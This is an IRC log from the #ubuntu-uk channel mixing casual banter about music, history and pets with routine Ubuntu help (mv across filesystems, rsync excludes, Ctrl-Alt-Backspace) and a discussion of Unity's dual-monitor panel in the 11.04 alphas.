<HazRPG> ah crap, I knew there was a reason I don't youtube arabic songs my mum use to listen to when I was growing up: http://www.youtube.com/watch?v=0KqPVB5SPC0#t=0m43s
<HazRPG> sm1773r: wips and chains one?
<sm1773r> lol yea
<HazRPG> heard it in a rock club years ago well before youtube
<sm1773r> what the heck am i listening to here lol
<HazRPG> arabic music of the late 80's early 90's xD
<sm1773r> please stop lol
<HazRPG> sadly they don't have rock there T_T
<HazRPG> or at least they don't have it on the radio EVER
<sm1773r> lol i wouldnt be able to cope
<HazRPG> there is rock, it just never gets into the whole buyable CD market
<sm1773r> so they keep that market for the weird stuff
<HazRPG> I mean my cousin is in a band, but they only ever play in garages or really really small cafes
<HazRPG> heh yeah pretty much
<sm1773r> brb need to empty ashtrey
<HazRPG> go for it
<HazRPG> personally I leave a plastic bag around for such events so that I don't need to get up xD
<sm1773r> bk
<sm1773r> lol i normally dont need to move but the wifes sleeping
<HazRPG> haha no way, they've started doing geeky films in arabic xD
<HazRPG> they're slowly getting there, I have to watch this xD
<sm1773r> dont dare post a link
<HazRPG> you wouldn't understand it anyways xD
<HazRPG> I barely understand arabic, so you'd have mega trouble
<sm1773r> i didnt understand the last 2
<HazRPG> wait, so you click links when presented to you?
<sm1773r> unfort yea
<HazRPG> cos I do that, the urge is just too tempting
<HazRPG> you a fan of CC based music?
<HazRPG> http://www.jamendo.com/en/track/180000 <== hit that, awesome song (in english don't worry xD)
<sm1773r> if im sitting on here but not chatting and links go up i still click
<HazRPG> same... its like an addiction
<sm1773r> like that :D
<sm1773r> soynds like another band ive heard of and now i cant mnd
<sm1773r> my spelling is right out the window tonight lol
<HazRPG> lol
<HazRPG> erm... they sound like Sonic Boom Six to me
<sm1773r> the fast trumpets at the start sounds like something ive heard which is annoying me now lol
<hamitron> nn guys ;/
<sm1773r> nn bud
<HazRPG> nn dude
<HazRPG> ah poo
<sm1773r> lol
<sm1773r> so what bands u into anyways
<HazRPG> all sorts
<HazRPG> ska, rock, metal mainly
<sm1773r> u go to download so im guessing slipknot ect
<HazRPG> System of a Down, AC/DC, etc
<HazRPG> yeah those too
<sm1773r> yay my bands
<sm1773r> slipknot , best live band i have ever seen
<HazRPG> yeah I know!
<HazRPG> so glad I seen them a few times before the bassist died
<sm1773r> wasnt sure how they would be after everyone started doing there own projects but the new stuff they done lived up to expectations
<HazRPG> I know what you mean
<sm1773r> with corey going with stone sour and joey with murderdolls i was like ........... BRING BACK SLIPKNOT
<HazRPG> they are coming back :P
<HazRPG> (or are back)
<sm1773r> dont get me wrong i like alot of stone sour stuff and the odd murderdoll song but cant top slipknot
<HazRPG> much like SOAD
<HazRPG> so can't wait to see them this year ;D
<sm1773r> but will it be the same
<HazRPG> nah, it never will, I agree
<HazRPG> rofl! man I love arabic comedy when I can understand it xD
<HazRPG> so far haven't understood much
<HazRPG> but this bit has got me in stitches!
<sm1773r> i can finally talk bout bands and i mean real bands , the wife likes " the wanted " ect
<sm1773r> lol
<HazRPG> him and his wife have got to a doctor to seek advice about why the can procreate, and the doc said "well if you were with another girl, you'd get a kid, and if she was with another guy, she'd get a kid... but when both of you try, you won't get nothing"
<sm1773r> lol
<sm1773r> if i was the doc i would be like " sit outside give me 10 mins with ur wife i will see what i can do "
<HazRPG> so he turns to his wife and says "you know what, I think this doc actually raised a teddy bear"
<sm1773r> u ever play bfbc 2
<HazRPG> haha yeah same xD
<HazRPG> aww they look sad now (sat by the river), and she goes teary eye'd saying "I really want kids" and he goes "well personally I want an air conditioner........ but yeah I want kids too..."
<HazRPG> bfbc 2?
<sm1773r> lol air conditioner
<sm1773r> battlefield bad company 2
<HazRPG> ah, no still haven't even played res5 or fallout 3 yet, still have those games sealed since release for my ps3
<sm1773r> lol
<sm1773r> watch this brilliant song for this http://www.youtube.com/watch?v=0pWNCPYwVUA
<HazRPG> xD
<sm1773r> lol love the fact they have taken a song like africa n totally changed the words
<sm1773r> btw fallout 3 is a 200+ hour game lol
<HazRPG> ah fuck xD
<sm1773r> lol
<HazRPG> still playing borderlands as it stands
<IdleOne> Does this channel not follow the !guidelines, specifically the part about language?
<sm1773r> then u have new vegas which is out and that to is 200+
<HazRPG> nah I have fallout 3
<HazRPG> didn't have time to play it at the time
<HazRPG> IdleOne: my apologises
<HazRPG> I tend to pre-order games, and forget about them
<sm1773r> guidelines state mild swearing is ok aslong as you are not being disruptive or negative towards other users
<HazRPG> I have like 5 games unopened
<sm1773r> lol i open them but dont play
<HazRPG> !guildlines
<HazRPG> oops
<HazRPG> !guidelines
<lubotu3> The guidelines for using the Ubuntu channels can be found here: http://wiki.ubuntu.com/IRC/Guidelines
<HazRPG> even
<sm1773r> # Mild swearing is ok, as long as it isn't excessive or directed at a person.
<sm1773r> # Any other bad language will result in a warning, or a kick at the operators discretion.
<IdleOne> where did you see that?
<maco> sm1773r: i dont think the f-bomb counts as "mild"
<rww> IdleOne: https://wiki.ubuntu.com/UKTeam/IRC
<sm1773r> ubuntu uk website
<rww> perhaps !guidelines-#ubuntu-uk would be a good addition ;)
<IdleOne> rww: ah, thanks will take a look
<maco> rww: you have access. due eet!
<rww> maco: rolling ahead and adding channel-specific factoids for a LoCo for a country I'm no longer in seems like it would be presumptuous ;P
<HazRPG> lol
<maco> on the "mild swears" topic... do y'all know what "sod" is in the US?
<sm1773r> ???
<HazRPG> heh, wait so my assumption that everyone here is from the UK is wrong?
<IdleOne> indeed :)
<HazRPG> although I know ball is in the US but... well he use to live in the UK
<maco> HazRPG: yep. rww is formerly UK, and im hopefully-someday-UK
<IdleOne> I'm Common wealth
<IdleOne> although I have yet to receive my share of the wealth
<sm1773r> i love that line , im common wealth
 * maco crosses fingers on getting a work visa by end of 2012
<HazRPG> common wealth, is that not the US?
<IdleOne> maco: just in time for Armageddon
<maco> HazRPG: the US does not have a queen, so no
<sm1773r> no , common wealth is countries that used to be dictated by the uk i think
<maco> commonwealth is anywhere that betty windsor is head of state
<rww> lies, I've seen plenty
<IdleOne> lol
<maco> rww: the drag kind dont count!
<HazRPG> ah wait, so UK, zambia, india, kenya, australia, etc are all common wealth then?
<sm1773r> yea
<IdleOne> I am not looking forward to money with pictures of Charles
<maco> yep
<IdleOne> and Canada
<HazRPG> (those are just ones I can think of off the top of my head ^^)
<maco> IdleOne: i think you were part of "etc"
<IdleOne> I like typing Canada k
<IdleOne> :P
<rww> mandatory pretty wikipedia map: http://en.wikipedia.org/wiki/File:Commonwealth_of_Nations.svg
<HazRPG> wait, Canada is on it?
<HazRPG> how?
<IdleOne> Do you know nothing about your history?
<maco> IdleOne: i found a canadian flag while cleaning up my room this weekend. i went downstairs and sung "oh canada our home and native land some other words go here..."
<HazRPG> ( I knew my history was crap, but I didn't realise it was that bad )
<HazRPG> lol
<rww> IdleOne: psh, Canada is just a colony!
<IdleOne> Please dude
<rww> I only know USA history because they had the audacity to rebel :(
<maco> rww: during the last US election, in another channel im in full of brits someone asked "so anything new in the world?" and got the answer "i think one of the colonies just had an election"
<IdleOne> hehe
<HazRPG> IdleOne: you say that, but you don't even know my history... I was born in England, but I went to school for about 6 years in Saudi, and in the gulf war I lived in Egypt... do you really think I'm going to remember history when I never learned the whole of any one of those?
<IdleOne> HazRPG: I was presumptuous, my apologies.
<maco> HazRPG: in short, any country where there are people whose native language is english was at some point ruled from a tiny little island off the coast of europe
<HazRPG> so I know bits of Egyptian, Saudi and UK history... just not the full history of any of those xD
<maco> that includes some islands in the caribbean, such as jamaica, which is also commonwealth
<HazRPG> maco: heh I know that, great british empire :P
<IdleOne> Basically what we are saying is that the UK ROCKS!
<sm1773r> i wouldnt go that far lol
<IdleOne> God save the queen and all that jazz
<HazRPG> they had a list of all the places we ruled in the (non-existent) pub in Saudi called "The Empire", it was a great non-pub
<maco> IdleOne: you know what i said to Riddell on 4 July, right?
<IdleOne> don't want MI5 knocking on my door
<IdleOne> maco: I don't
<rww> People ask me every year if England celebrates July 4 :\
<maco> IdleOne: "today is the day we americans celebrate being free of english rule, unlike you scots"
<IdleOne> ohhhhhhhhh
<IdleOne> that is not nice
<IdleOne> hahah
<HazRPG> (cos pubs don't exist in saudi... nooooo)
<rww> I got bored of telling the truth, so I now go with, "Yes, we celebrate getting rid of America :<"
<HazRPG> ooo, ouch, that's kinda crossing a lil line there :P
<maco> hahhaa
<HazRPG> (I'm part scottish)
<sm1773r> I AM SCOTTISH
<HazRPG> *wags finger*
<HazRPG> heh, yeah I guessed that
<rww> sm1773r: so are you speaking English right now, or Scottish? </tate>
<HazRPG> I'm a cadburies all-sorts xD
<IdleOne> See Canada gained independence the smart way, we just asked and the King said, sure why not.
<sm1773r> not speaking i am actually typing
<maco> where i fail on british history is succession... i didnt realise there was anyone in between victoria and liz2 til i was reading about the jacobite succession and went and read the official one as well
<sm1773r> i just fail on history full stop
<HazRPG> right, I'm going back to my arabic film... its hard trying to sit and translate in my head and read english at the same time xD
<maco> ok really, im probably only good for the norman period...
<HazRPG> I fail at anything that doesn't have a power socket
<HazRPG> the only lesson in histroy I remember was learning the black plague
<HazRPG> history*
<sm1773r> so during history u forgot to learn how to spell it as well lol
<HazRPG> I hated history, I was too busy thinking about ideas about the future
<maco> here's a fun one: in 1066 edward the confessor died and hadnt named an heir. an englishman, a ...norwegian i think..., and a norman all claimed it. english guy fought the northerner then hurried south all tired out to try to fend off the norman. got an arrow through his eye as a prize
<HazRPG> I knew touch screens would be a reality one day :P
<rww> maco: this story ends in us being pwnt by the French, and is thus not fun :(
<HazRPG> I know bits n pieces, one king chopped off his wives heads cos of not being able to procreate a boy or something
<sm1773r> lol
<HazRPG> thatcher managed to get stuff build quick for the war
<maco> HazRPG: i just watched The Other Boleyn a couple nights ago
<HazRPG> (not her personally, but to organise people to do so)
<maco> rww: it does mean england has been ruled by a french line of succession for nearly 1000 years now though ;-)
<HazRPG> I know that saudi has only around for 100 years or so as a proper country (i.e. not tribes anymore)
<maco> rww: i was interviewing for a job and an interviewer was from liverpool. he was introducing me to folks and one guy was french. english guy said he didnt like him. i said "of course not, you're english and he's french, old enemies"
<HazRPG> Pharaohs looked cool, but my arabic wasn't great when I was a kid... so I barely understood a few of my history lessons :/
<HazRPG> hated how our arabian history lesson had to be taught in arabic
<HazRPG> worse thing was I went to saudi when I was 10, so when I went to my first ever arabic lesson they couldn't understand why I couldn't read a single word of arabic, but could talk it pretty reasonably
<HazRPG> mixed parents n all
<HazRPG> both only ever spoke english to me, I only picked up arabic during the gulf war when I was stuck in egypt while my parents worked in saudi
<maco> im about like that on russian
<HazRPG> tell ya what, I don't care what anyone tells you... travelling a lot does get boring after a while, and really crappy too
<maco> i mean, i cant converse in it...years out of practice (last russian speaker in the family died a few years back), but i have an accent to fool a native... reading it is like being 6 years old again though
<HazRPG> heh, I'm like that with arabic
<HazRPG> although still fluent in it, cos I still visit my mum who's now retired in egypt
<maco> i never got fluent. my family just mixed a few russian words into their english speech, and then i studied it on my own for a while
<HazRPG> speak a normal conversation with me, and I'm fine... start to use words found in news papers or school books (i.e. biology or anything like that) - then I start going "wth?"
<maco> but instead of first hearing some of those sounds-that-dont-exist-in-english in uni, ive heard them my whole life
<HazRPG> yeah, its great when you get those sounds down while your younger
<maco> an arabic-speaking friend tried to get me to make the sounds-that-dont-exist-in-english-but-do-in-arabic once...that was comical
<HazRPG> I tried to learn Japanese by myself... and it is hard!
<Myrtti> maco: normans were vikings themselves, i think spreading the genes is a lot healthier than sitting alone in a cave like Finns have until ~100 years ago
<maco> Myrtti: yeah i guess really it was norwegians and french norwegians from both sides
<rww> so really, in that battle it was norway or the highway
<maco> HazRPG: i did japanese in secondary school and a bit in uni... forgot so much...ughh :(
<HazRPG> lol I'm going to shush now, don't want to bore anyone anymore of my life story xD
<maco> did send mako a holiday card with the new years greeting in japanese though :P akimashite omeditou gozaimasu
<HazRPG> ooo I know a few words... neku-tie!
<HazRPG> be-ru!
<maco> that be biru :P
<HazRPG> yeah but you know what I mean ^^
<maco> ããã¯ã¿ã¤ããã«
<HazRPG> I can pronounce it right, just don't know the english spellings of the way they are pronounced
<HazRPG> rajio!
<HazRPG> aisu kuremu
<HazRPG> I can't read japanese dude >_<
<HazRPG> just like if I type: ÙØ§ÙØ§
<HazRPG> it wouldn't mean anything to you ^^
<HazRPG> which is "mama" or mum, mom, etc
<sm1773r> off to bed , shattered
<HazRPG> alright dude, night
<sm1773r> catch u later bud
<HazRPG> have a good one
<maco> HazRPG: what i typed was the same as the first two things you typed ;-)
<HazRPG> ah cool :P
<AlanBell> morning
<HazRPG> morning
<nigelb> Morning AlanBell
<screen-x> good morning :)
<AlanBell> any exciting things going on today?
<TheOpenSourcerer> Fruity things AlanBell
<AlanBell> ah yes
<AlanBell> the emails are looking suitably fruity
<screen-x> what happens when you kill 'mv' ?
<shauno> screen-x: I think it should be pretty predictable if you're moving within the same physical filesystem (so mv is just creating new hardlinks, not actually moving data)
<screen-x> shauno: heh, I did mv foo ../ forgetting that I was on a mountpoint, and the parent fs didn't have enough space, so I had to kill the mv.
<screen-x> shauno: If I had remembered that they were different FSs, I would have used cp :(
<screen-x> however it looks like the source data is intact, but can't be sure :(
<shauno> I would hope / presume it wouldn't do anything to the source until the destination is complete.  but not sure I'd have the guts to try myself
<shauno> looks like it tries rename, then does cp && rm if rename fails.  nothing's unlinked until the copy succeeded, so you should be good
<screen-x> shauno: \o/
<screen-x> thanks for checking :)
 * screen-x gives freenode some lemsip
<kieko> update requires a reboot
<bigcalm> What update does?
<bigcalm> Apart from a kernel update
<kieko> today's update
<kieko> brb
<bigcalm> It's a myth. A lot of updates that say need a reboot can be done with a ctr+alt+backspace at most
<DJones> Morning all
<popey> Morning all!
 * bigcalm begrudgingly agrees that it is morning
<bigcalm> Hi peeps :)
 * Myrtti is in less agony, enjoys the heatpads none the less
<Myrtti> mmmm warm
<pr0ph3t> hi all
<Myrtti> moin
<DJones> Myrtti: If your neck/shoulder is still painful & are looking for a heat pad type thing, I came across this http://www.betterware.co.uk/productdetails.aspx?pid=058972&cid=152&language=en-GB
<Myrtti> lol betterware
<Myrtti> :-D
<bigcalm> USB powered, wow
<pr0ph3t> where can I find detailed info on different ubuntu kernel flavours?
<Myrtti> usb powered heatpad would be a good idea tho... *hmmm*
<bigcalm> Her posture is terrible
<DJones> bigcalm: Yeah, that was what made look at it, I wonder how long the battery on a laptop would work if I took it & the heat pad to a rugby match
<bigcalm> DJones: if you're using a laptop at a rugby match, why bother going?
<livingdaylight> heloh
<DJones> bigcalm: Heh
<HazRPG> bigcalm: Hmm, didn't they take out CTRL+ALT+BACKSPACE out a while back?
<HazRPG> well not taken it out, but removed the shortcut
<HazRPG> unless you put it back in manually
<Myrtti> alt-sysrq-k
<bigcalm> At a recent ice hockey match there were 2 small girls next to me. Neither of them were interested in the game and so were being annoying and messing around. Their father wasn't bothering to keep them in check, so when I politely told the girls to stop it, he got pissed
<bigcalm> HazRPG: has it? I was just thinking back to olden days. I tend to do updates from the CLI
<Myrtti> I suppose the reboot might be needed for the dbus to do some magic
<Myrtti> or update-rc.d: warning: unattended-upgrades start runlevel arguments (none) do not match LSB Default-Start values (0 6)
<popey> !dontzap
<lubotu3> To re-enable the Ctrl-Alt-Backspace combination that restarts your X server see https://wiki.ubuntu.com/X/Config/DontZap
<Myrtti> bigcalm: depending on timing and location I might take my laptop to an ice hockey game because don't have time to take it home
<Myrtti> but then again, such occasion hasn't risen yet
<bigcalm> Myrtti: fair enough, but you'd be watching the game rather than tapping away :)
<Myrtti> I just can imagine the situation
<bigcalm> I wonder if there is a battery device that has 1 usb socket and that's it. So you could power usb devices as if it were connected to a machine, but without having to have a machine with you
<bigcalm> Then I could see the usb blanket being used at games as well as at the home
<livingdaylight> chrome and FF got updated; don't what else, resulting in need for a restart to complete updates... no one else?
<bigcalm> That said, I'm always warm at ice hockey games. Chanting and wot not warms you up ;)
<Myrtti> bigcalm: it depends on the device you're charging from the usb battery
<bigcalm> Such as?
<Myrtti> bigcalm: I've got some usb battery kits and if they work or not depends on if the device charged requires "intelligent" charging
<bigcalm> Ah
<bigcalm> I see
<bigcalm> I doubt the blanket would be one of those
<Myrtti> wall plug usb chargers have some sort of chip or something in them that tells the device it's there, I suspect it's to prevent overcharging
<Myrtti> for example my phone charges fine from the battery pack, because it must have it's own intelligence to stop overcharging
<Myrtti> but my Flipcam doesn't
<bigcalm> From The QI Elves (on Twitter) "The commonest form of murder in Britain is of a spouse, by a spouse, in the kitchen, with the bread knife"
<bigcalm> Are we an unhappy nation?
 * popey hides the knives
<popey> also, I haven't given wifey her pressie yet
<bigcalm> popey: save it for 14th Feb
<popey> oooo
<popey> thats a really good idea!
 * bigcalm feels evil now
<popey> i never get pressies for her on 14/2
<popey> this will be epic
<popey> might video it
<bigcalm> popey: making your own snuff film?
<popey> hah
<bigcalm> I keep writing 17/11 instead of 17/1 in my reports. How irritating
<bigcalm> It's usally the year I mess up in Jan
<bigcalm> I guess I should write 19/1 in today's report, that would help ;
<bigcalm> ;)
<MartijnVdS> Just use a "date" field instead of typing it yourself ;)
<bigcalm> MartijnVdS: tricky when retrospectively filling them in
<MartijnVdS> bigcalm: ah yes
 * bigcalm is lazy at recording his project hours
<MartijnVdS> Guest90965: you should really talk to nickserv, issyl0 :)
<daubers> Morning
<MartijnVdS> \o
<livingdaylight> daubers, morening
<livingdaylight> Lots of "1's" this year!
<livingdaylight> 11.1.11 ; 1.11.11
<livingdaylight> take the last two digits of the year you were born add to the age you will be this year and should = 111
<BigRedS> livingdaylight: so the amount of years since I was born, plus how long that was after 1900 will equal the amount of years since 1900? :)
<freckle> livingdaylight: only works if you were born last century
<BigRedS> 'last century'. Who was it talking about being made to feel old yesterday?
<BigRedS> :)
<gord> i always remember to use the proper, "last millennium"
<bigcalm> Both are correct
<freckle> gord: in this instance it is incorrect to say "last millennium" as the year 2000 is not valid
<gord> okay nerds i was just making a jokes >:(
<BigRedS> isn't 2000 this millenium?
<freckle> BigRedS: no it's the previous
<BigRedS> I suppose it depends upon whether the first year was deemed '0' or '1'
<BigRedS> and most people would go with the latter
<BigRedS> but then centuries should have the same, surely?
<freckle> there was no year 0
<freckle> it went from 1 BC to 1 AD
<gord> nerds ruin everything :(
<BigRedS> so the year 2000's part of the 20th century, then? Since the year 100 was part of the 0th century
<freckle> BigRedS: correctomundo
<BigRedS> yay. I get to be even more annoyingly pedantic :)
<BigRedS> "nah, a guy on IRC told me it was so"
<freckle> my twitter bio just says "introveted nerd" I am going to change it to "intorvert, pedant, nerd".
<BigRedS> Actually, no, I'm going to do a grub and decide that, for me, the year 1 is '0' and everyone else's numbering system be dammned.
<BigRedS> freckle: I think I've got me down as a cynical, argumentative, sarcastic, condescending pedant somewhere
<freckle> BigRedS: I want to it so say "I am a huge c**t" but I think the twitter police might get me
<BigRedS> haha
 * AlanBell wonders why freckle is a carrot
<freckle> becuase I am ginger?
 * BigRedS wonders about AlanBell's spelling
<dwatkins> I don't think twitter actually cares about bad language, scarily.
<dwatkins> ...and good morning all
<BigRedS> scarily?
<BigRedS> perhaps here isn't the place for that discussion/argument :)
<BigRedS> g'morning!
<MartijnVdS> howdy
<gord> i have never wanted a chip shop sausage, chips and chippy peas more in my life
<awilkins> I moderate my own language on Twitter just because I'm speaking in public where little kiddies may be 24/7
<Myrtti> just like here
<awilkins> Battered sausage
<MartijnVdS> awilkins: Ah, so you tweet "FREE CANDY FROM THE BACK OF MY VAN"? :P
<directhex> i don't moderate for the same reason
<gord> i moderate my language because its polite and professional
<Myrtti> heatpad â¥
<bigcalm> Myrtti: you need a kitten to fall asleep on your shoulder
<awilkins> Or a large adhesive dressing to secure one to the small of your back
<BigRedS> kittens never fall asleep, they just scheme mischief :)
<awilkins> Flesh coloured one for maximum "alien about to break through" effect.
<bigcalm> I wanna kitty
<awilkins> I do prefer cats to dogs. The whole self-serving evil-minded hedonist thing is much more appealing than the whole drooling subservient pack animal vibe you get from dogs.
<popey> i love other peoples dogs
<popey> "Awwww, isn't he lovely! Come here boy! Yeah! Good dog! Right, now get lost, I'm going home".
<BigRedS> I've never managed to get along with any dog.
<bigcalm> I like some dogs, but I would want one curled up on my lap
<popey> whereas with cats I just want to abduct everyone elses cat.
<popey> my brothers dogs like to curl up next to you, but in that way where they're kinda 'in your space'
<popey> or rather, you're in theirs
<bigcalm> Dogs have owners, cats have servents
<BigRedS> Yeah, you don't have a pet cat, you just have a cat that shares your house
<gord> in exchange, they purr and meow. good trade.
<bigcalm> A good purr cures all
<awilkins> I prefer to think of it as co-dependent. You want their snuggles. They want an opposable thumb that owns a can opener.
<bigcalm> http://www.youtube.com/watch?v=GSMCRD35ch4 # <3 <3 <3
<JamesTait> awilkins: :D
<danfish> the problem with cats - they make rubbish guard 'cats'
<awilkins> Unless you wish to be guarded against small rodents and avians.
<shauno> (and bathtubs)
<danfish> quite true
<popey> yeah, some neighbours cats come in and eat our cats food
 * danfish is seriously thinking of getting a pouch to scare away the local foxes
<popey> ours just sit and watch
<BigRedS> my mum's got a cat that'll jump in a running bath, faff for a while, and generally get hair all over it, then wander off
<bigcalm> I think my parents cat goes looking for trouble
<BigRedS> took a while to work out what was going on, used to get to the bath, fidn cat hairs in it and wonder where the hell they'd come from
* popey changed the topic of #ubuntu-uk to: Welcome to #ubuntu-uk! http://ubuntu-uk.org | This channel is publicly archived: http://irclogs.ubuntu.com | Mailing List: http://tinyurl.com/uukml | Support Guidelines - http://tinyurl.com/uuksupport | Meeting Thursday January 27th 21:00 GMT in #ubuntu-uk-meeting http://tinyurl.com/uukmeet | \o/ Cats (and maybe dogs)
<BigRedS> :)
<danfish> at this rate we'll have to change the ubuntu-uk logo to have a cat asleep on top of the -uk bit ;)
 * dutchie prefers dogs
<danfish> dutchie: +1
<dutchie> although i have a cat as well
<czajkowski> NO CATS!
<gord> MORE CATS!
<czajkowski> NEIN!
<gord> NINE!
<bigcalm> 10!
<bigcalm> I'd be happy with 2
<czajkowski> gord: that's it you're cut off my my tea supply!
<BigRedS> zsh: command not found: dog
<BigRedS> therefore, moar cats
<gord> czajkowski, someone else brought me tea last week anyway, nah! :P
<czajkowski> :p
<czajkowski> see yer learning
<czajkowski> go to usa for a week bring TEA! now if we could just resolve the boilng water!
<AlanBell> too dangerous
<AlanBell> guns, no problem. boiling water= safety hazard
<Myrtti> what command was it that I could use to check in which directory I'm in?
<dutchie> pwd
<Myrtti> thx
<Myrtti> bwahaha. rtmpdump â¥
<gord> i went shooting at that same place again whilst i was there, was fun
<czajkowski> gord: aye Mrvell poked me to get the names of it
<czajkowski> Launchpad are still there this week
<popey> http://www.sebastianbap.com/#280110/Scratch-me
<popey> Warning: includes cats
<MartijnVdS> popey: disturbing
<czajkowski> not_clicking
<popey> its very good
<MartijnVdS> popey: it's the stuff of nightmares
<popey> hah
<MartijnVdS> also.. cat people: http://en.wikipedia.org/wiki/Toxoplasma_gondii
<popey> MartijnVdS: http://www.sebastianbap.com/#280140/Buildings-Vampires is more the stuff of nightmares
<bigcalm> That's so sad
<bigcalm> Scratch me was ace though :)
<gord> have i mentioned that i like my new netbook in the last few hours? because i still do
<gord> just y'know, fyi
<terran> fyi imo btw ftw
<dogmatic69> obviously not running ubuntu netbook
<gord> i am
<dogmatic69> o.o
<dogmatic69> and its not been chucked out the window?
<AlanBell> gord: got unity working on it yet?
<gord> AlanBell, 3d one won't be for quite a while, but the 2d interface should be up and running in a few weeks once a natty image is out (waiting on a metacity fix)
<AlanBell> 3d ftw
<screen-x> gord: how much battery life are you getting?
<X3N> Anyone know what happened to the android-notifier-desktop project? as featured http://www.omgubuntu.co.uk/2010/09/android-notifications-on-ubuntu/
<hoover> mornin all
<gord> screen-x, not very much, but thats mostly down to ubuntu not having access to most of the power saving features (like being able to turn off/darken the backlight...)
<gord> X3N, it still exists
<gord> do a quick google and you'll get it ;)
<X3N> I can't actually get on the project site, I get a 403
<X3N> http://code.google.com/p/android-notifier-desktop/ = Your client does not have permission to get URL /p/android-notifier-desktop/ from this server.
<popey> gord / AlanBell whats the status of natty on a desktop pc with two screens on nvidia/twinview? working?
<gord> X3N, http://code.google.com/p/android-notifier/downloads/list
<gord> their main page is screwy for some reason
<gord> popey, using it right now
<gord> the panel goes across both screens at the moment, which sucks buuuut we are gonna fix that to stay on the primary desktop i think
<popey> hmm
<popey> might upgrade
<gord> popey, the earlier you upgrade and start bugging me about issues, the earlier we can get them fixed so i don't have to listen to them for the next six months ;)
<davmor2> morning all
<popey> haha
 * popey tickles davmor2 
<AlanBell> popey: I have only tried it with virtualbox
<AlanBell> which now does multi-monitors
 * gord is still surprised it works in vb
 * davmor2 would laugh at popey's attempt to tickle but figure that might make popey think I was ticklish 
<gord> we hit A2 end of next week, might be a good time for anyone that has been thinking about upgrading to upgrade
<HazRPG> I have it working in Vbox too
<HazRPG> dual-screens I mean
<gord> and even though you can run in vb, would be nice if you 11.04 in real hardware, because otherwise we have no idea how well your drivers perform with it
<HazRPG> hang on I'm confused now
<popey> ok, will upgrade now
<HazRPG> I use to use ubuntu 9.04 - 10.10 with dual-screens no problem (real hardware)
<HazRPG> also, I hate abbreviating virutalbox to vb because vb to mean is visual basic and is horrid :/
<gord> HazRPG, 11.04 using very different technologies as i'm sure you are aware, which means we need lots of bug testers on real hardware
<daubers> gord: Oooooh... a2. i've been waiting for the last GTK changed packages to come in to avoid a partial upgrade
<HazRPG> gord: yeah
<HazRPG> hmm, I use to test alpha's and beta's of previous ubuntu's... would I need to do anything specific for bug testing exactly?
<HazRPG> cos previously I use to just send the bug when it asked if I wanted to
<gord> just use it :) if anything doesn't work right, file a bug
<ali1234> gord, re dual screen. how is it going to work if i run something fullscreen on the primary display? i won't be able to access the panel at all without closing the fullscreen application? i would prefer an exact duplicate of the panel on all displays
<HazRPG> ali1234: that's not an ubuntu-based problem, think that's mainly a driver thing
<HazRPG> I might be wrong though
<ali1234> it's not an ubuntu based problem today... it will be as soon as 12.04 comes out...
<HazRPG> you could always just make a new panel for the other screen
<ali1234> i mean 11.04
<ali1234> not in unity you can't (not at the moment anyway)
<gord> how its gonna work isn't finalised yet, depends on how much time we have really
<gord> duplicate panels are a lot more work
<HazRPG> ali1234: ah, I should really use 11.04 then huh ^^
<ali1234> no duplicate panels = deal breaker for me
 * DJones debates what to install on a acer aspire 1510 (assuming the donated machine works)
<gord> ali1234, patches welcome
<ali1234> i like to run different fullscreen apps on both monitors (not at the same time) and i need to be able to access the menu also, without leaving fullscreen
<gord> honestly, just don't run in real fullscreen anymore
<gord> you maximize, the window decorations go, the menu is in the panel, its quite nice
<ali1234> yeah? you don't watch movies fullscreen?
<ali1234> you don't play games fullscreen?
<dwatkins> I like my terminal fullscreen sometimes, nothing but text.
<AlanBell> maximise is the new fullscreen
<gord> i don't play games on linux and when i play video i tend to play it on my secondary monitor
<gord> the primary monitor is for what i'm doing right now
<ali1234> right
<ali1234> full screen on second monitor
<ali1234> when i play games i play them full screen on the first monitor
<ali1234> i need to be able to switch virtual desktop/use the other monitor at all times
<ali1234> the easiest way to do that is to have a duplicate of everything on both panels
<HazRPG> I agree with ali1234 on this one
<gord> like i said, its a time thing
<gord> patches welcome
<dwatkins> ali1234: like screen -x for X-windows?
<HazRPG> if I knew how code some of the stuff in the ubuntu source... I would
<ali1234> sorry gord, you can waste your time reinventing the wheel if you want, i'm going to stick with gnome until you have feature parity :D
<HazRPG> but as it stands, my coding skills aren't that pro just yet
<gord> iirc in twinview gnome panel just stays on one screen doesn't it?
<ali1234> dwatkins: huuuuuuh?
<HazRPG> guess that's the best thing about any linux distro, you don't like something just remove and install what you want ^^
<dwatkins> ali1234: arbitrary switching of desktops for each of two monitors, like sharing terminal sessions with GNU Screen
<ali1234> dwatkins: no thats not what i want
<ali1234> and not even possible
<dwatkins> ah ok
<ali1234> actually it would be nice
<dwatkins> 11:20 < ali1234> the easiest way to do that is to have a duplicate of everything on both panels
<ali1234> yeah
<dwatkins> I thought that was what you meant by this line, ali1234.
<HazRPG> personally im not sure if im going to like unity :/
<ali1234> so i have a desktop pager on both screens, but they both change both screens
<AlanBell> gord: so the unity panel should go on the left of your left-most screen or something?
<gord> AlanBell, no, you can set a monitor to be a "primary" monitor, it'll sit on that panel. unless there is more time to implement a panel per monitor or ali1234 contributes a patch
<AlanBell> how are the keybindings and at-spi integration for orca coming along?
<gord> slower than we would like =\ we only have one guy for accessibility (its hard to find people to do it... ) and at sucks
<AlanBell> oh noes
<AlanBell> anything testable for A2?
 * AlanBell could ask themuso, but he is busy busy busy
<gord> your best off asking him
<AlanBell> ok
<AlanBell> I think Pendulum will be getting an update soon anyhow
<HazRPG> now I just have blood sugar stuck in my head >_<
<HazRPG> even though I know that's not what your talking about
<pr0ph3t> hi all
<HazRPG> sup
<pr0ph3t> I'm running and rsync command, but would like to --exclude two directories
<pr0ph3t> so rsync --exclude='/*/.gvfs' and Video
<pr0ph3t> what would be the right syntax to exclude two paths instead of just one?
<Myrtti> I'd make an exclude file
<BigRedS> pr0ph3t: --exclude'/*/.gvfs' --exclude 'Video'
<pr0ph3t> thanks
<pr0ph3t> I was going to rename the folder to .gvfs2 and use ?
<ali1234> gord: twinview does not affect panels: http://al.robotfuzz.com/~al/random/panels1.jpg
<pr0ph3t> but that makes more sense
<ali1234> and the use case - playing some "spreadsheets in space": http://al.robotfuzz.com/~al/random/panels2.jpg
<popey> http://twitpic.com/3rew43
<popey> what the jeebuz
<popey> why on earth is the upgrade asking me this?
<X3N> have you selected multiple languages?
<Daviey> popey, yeah.. and see what happens if you are on a tty and try to use caps lock using the, what most would assume to be, default.
<Daviey> "Caps Lock"
<Daviey> switch between Afgan and USA keyboard layout.
<pr0ph3t> popey, you can select no toggle
<pr0ph3t> that's what I've done
<popey> i know I can, but the question is why is it asking me?
<pr0ph3t> it asks you twice at least
<popey> X3N: no
